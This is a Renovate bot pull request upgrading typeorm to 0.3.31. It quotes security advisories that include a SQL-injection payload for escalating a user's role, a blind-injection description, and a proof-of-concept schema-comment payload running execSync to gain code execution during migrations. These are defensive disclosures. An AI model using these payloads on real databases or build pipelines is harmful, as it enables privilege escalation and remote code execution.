Skip to content

fix(deps): update dependency typeorm to v0.3.31 [security] - #97

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-typeorm-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-typeorm-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 31, 2025 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
typeorm (source) 0.3.20 → 0.3.31 age confidence

TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update

CVE-2025-60542 / GHSA-q2pj-6v73-8rgj

More information

Details

Summary

SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.

Details

Vulnerable Code:

const { username, city, name} = req.body;
const updateData = {
    username,
    city,
    name,
    id:userId
  }; // Developer aims to only allow above three fields to be updated    
const result = await userRepo.save(updateData);

Intended Payload (non-malicious):

username=myusername&city=Riga&name=Javad

OR

{username:\"myusername\",phone:12345,name:\"Javad\"}

SQL query produced:

UPDATE `user` 
SET `username` = 'myusername', 
    `city` = 'Riga', 
    `name` = 'Javad' 
WHERE `id` IN (1);

Malicious Payload:

username=myusername&city[name]=Riga&city[role]=admin

OR

{username:\"myusername\",city:{name:\"Javad\",role:\"admin\"}}

SQL query produced with Injected Column:

UPDATE `user` 
SET `username` = 'myusername', 
    `city` = `name` = 'Javad', 
    `role` = 'admin' 
WHERE `id` IN (1);

Above query is valid as city = name = Javad is a boolean expression resulting in city = 1 (false). “role” column is injected and updated.

Underlying issue was due to TypeORM using mysql2 without specifying a value for the stringifyObjects option. In both mysql and mysql2 this option defaults to false. This option is then passed into SQLString library as false. This results in sqlstring parsing objects in a strange way using objectToValues.

Severity

  • CVSS Score: 8.9 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:H/SA:L/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


TypeORM: SQL Injection in UpdateQueryBuilder/SoftDeleteQueryBuilder orderBy (MySQL/MariaDB)

GHSA-9ggv-8w38-r7pm

More information

Details

Impact

Blind SQL injection vulnerability in UpdateQueryBuilder and SoftDeleteQueryBuilder affecting MySQL and MariaDB users.

UpdateQueryBuilder and SoftDeleteQueryBuilder (including their addOrderBy variants) do not validate the order parameter against an allowlist of permitted values (ASC/DESC). The caller-supplied value is stored verbatim and concatenated directly into the generated SQL string without quoting or parameterization. SelectQueryBuilder.orderBy performs this validation correctly; the affected builders do not.

If any code path passes user-controlled input to orderBy/addOrderBy on an update or soft-delete query, an attacker can inject arbitrary SQL via the sort direction — even when the column name itself is hardcoded.

Demonstrated impact includes:

  • Data exfiltration via time-based blind extraction (e.g. using SLEEP() to infer secret values bit by bit)
  • Row targeting manipulation in queries using LIMIT patterns
  • Denial of service via SLEEP()-based query exhaustion

CVSS 3.1: 8.6 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Affected files (relative to commit 73fda419):

  • src/query-builder/UpdateQueryBuilder.ts: lines 383–419 and 718–744
  • src/query-builder/SoftDeleteQueryBuilder.ts: lines 352–388 and 520–546

The vulnerability was introduced in commit 03799bd2 (v0.1.12) and is present through the latest release (v0.3.28).

Patches

A fix has been released in 0.3.29 (1b66c44) and 1.0.0 (93eec63).

Workarounds

Applications can manually validate the order argument before passing it to orderBy or addOrderBy on update or soft-delete query builders:

const direction = userInput.toUpperCase();
if (direction !== 'ASC' && direction !== 'DESC') {
  throw new Error('Invalid sort direction');
}
qb.orderBy(column, direction as 'ASC' | 'DESC');

Do not pass user-controlled values to orderBy/addOrderBy on UpdateQueryBuilder or SoftDeleteQueryBuilder without this validation.

References
  • Introduced in commit 03799bd2 (v0.1.12)
  • Confirmed present in v0.3.28 (commit 73fda419)
  • See SelectQueryBuilder.orderBy for the correct validation pattern this fix should mirror

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


TypeORM: migration:generate template-literal code injection

CVE-2026-73651 / GHSA-2rp8-mm9q-fp49

More information

Details

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Severity

  • CVSS Score: 5.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

typeorm/typeorm (typeorm)

v0.3.31

Compare Source

Bug Fixes
  • cache: release query runner on error in storeInCache (#​12545) (a84b9b3)
  • correct grammar in AlreadyHasActiveConnectionError message (#​12554) (304d129)
  • entity-manager: default invalidWhereValuesBehavior to throw on the write path (#​12690) (44d8052)
  • entity-manager: validate where criteria in increment/decrement (#​12692) (8a51b75)
  • mongodb: use cursor.transform for doc to entity transformation and skip load broadcast in next if toArray (#​11926) (0bbefc9)
  • move hashing function to PlatformTools (#​12648) (c456cbd)
  • multiple recursive cte problems (#​12490) (7c26654)
  • normalization of FindOptionsWhere for arrays and Buffers (#​12577) (a8173fc)
  • persistence: preserve select false columns on the in-memory entity after save() (#​12501) (324c46c)
  • postgres: improve normalizeDatetimeFunction for tstzrange data type (#​12182) (bf47c9f)
  • query-builder: reject empty where criteria on update and delete operations (#​12629) (81b9466)
  • query-builder: wrap inner joins under left joins correctly (#​11137) (d5f4b9d)
  • remove require() calls that break bundlers (#​12647) (30f9fc7)
  • tree-entity: tree entity schema propagation in internal TreeRepository methods (#​12590) (7fb7c2c)

Full Changelog: typeorm/typeorm@0.3.30...0.3.31

v0.3.30

Compare Source

Bug Fixes
  • cockroachdb: adjust join in loadTables to load correct table columns (#​12413) (d93402e)
  • find-options: allow array values in JsonContains (#​12420) (90f169d)
  • preserve user-defined shared join columns in change set (#​12354) (0aba011)
  • scope computed-columns join to correct table in MSSQL schema query (#​12288) (6170be6)
  • scope invalidWhereValuesBehavior to high-level abstractions only (#​11878) (1e10fb8)
Reverts

v0.3.29

Compare Source

Bug Fixes
Features

v0.3.28

Compare Source

Bug Fixes
Features

v0.3.27

Compare Source

Bug Fixes
Features
Performance Improvements
Reverts

v0.3.26

Compare Source

Notes:

  • When using MySQL, TypeORM now connects using stringifyObjects: true, in order to avoid a potential security vulnerability
    in the mysql/mysql2 client libraries. You can revert to the old behavior by setting connectionOptions.extra.stringifyObjects = false.
  • When using SAP HANA, TypeORM now uses the built-in pool from the @sap/hana-client library. The deprecated hdb-pool
    is no longer necessary and can be removed. See https://typeorm.io/docs/drivers/sap/#data-source-options for the new pool options.
Bug Fixes
Features
Performance Improvements

v0.3.25

Compare Source

Bug Fixes
Features

v0.3.24

Compare Source

Bug Fixes
Features
Performance Improvements
  • improve save performance during entities update (15de733)

v0.3.23

Compare Source

⚠️ Note on a breaking change

This release includes a technically breaking change (from this PR) in the behaviour of the delete and update methods of the EntityManager and Repository APIs, when an empty object is supplied as the criteria:

await repository.delete({})
await repository.update({}, { foo: "bar" })
  • Old behaviour was to delete or update all rows in the table
  • New behaviour is to throw an error: Empty criteria(s) are not allowed for the delete/update method.

Why?

This behaviour was not documented and is considered dangerous as it can allow a badly-formed object (e.g. with an undefined id) to inadvertently delete or update the whole table.

When the intention actually was to delete or update all rows, such queries can be rewritten using the QueryBuilder API:

await repository.createQueryBuilder().delete().execute()
// executes: DELETE FROM table_name
await repository.createQueryBuilder().update().set({ foo: "bar" }).execute()
// executes: UPDATE table_name SET foo = 'bar'

An alternative method for deleting all rows is to use:

await repository.clear()
// executes: TRUNCATE TABLE table_name
Bug Fixes
Features
Performance Improvements

v0.3.22

Compare Source

Bug Fixes

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch 2 times, most recently from 67984d0 to da11c45 Compare November 12, 2025 00:51
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch 2 times, most recently from 610d23b to e97e8c7 Compare November 23, 2025 15:28
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from e97e8c7 to f0d3162 Compare December 3, 2025 19:42
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from f0d3162 to 939e952 Compare December 31, 2025 16:56
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 939e952 to 3477a1c Compare February 12, 2026 11:13
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 3477a1c to b0e6949 Compare March 5, 2026 18:54
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from b0e6949 to bda3f2f Compare March 13, 2026 10:43
@renovate renovate Bot changed the title fix(deps): update dependency typeorm to v0.3.26 [security] fix(deps): update dependency typeorm to v0.3.26 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-typeorm-vulnerability branch March 27, 2026 01:14
@renovate renovate Bot changed the title fix(deps): update dependency typeorm to v0.3.26 [security] - autoclosed fix(deps): update dependency typeorm to v0.3.26 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch 2 times, most recently from bda3f2f to 80811d3 Compare March 30, 2026 18:03
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 80811d3 to 004fc5d Compare April 29, 2026 12:52
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 004fc5d to a8e6bb4 Compare May 12, 2026 10:39
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from a8e6bb4 to 2cd0fbe Compare May 28, 2026 15:39
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 2cd0fbe to 2385d19 Compare July 12, 2026 12:50
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 2385d19 to 452f783 Compare August 26, 2026 20:43
@renovate renovate Bot changed the title fix(deps): update dependency typeorm to v0.3.26 [security] fix(deps): update dependency typeorm to v0.3.31 [security] Aug 28, 2026
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 452f783 to 1ff60a2 Compare October 20, 2026 16:13
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from 1ff60a2 to e6cf4a6 Compare November 5, 2026 18:27
@renovate
renovate Bot force-pushed the renovate/npm-typeorm-vulnerability branch from e6cf4a6 to c4711fe Compare November 11, 2026 20:28

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants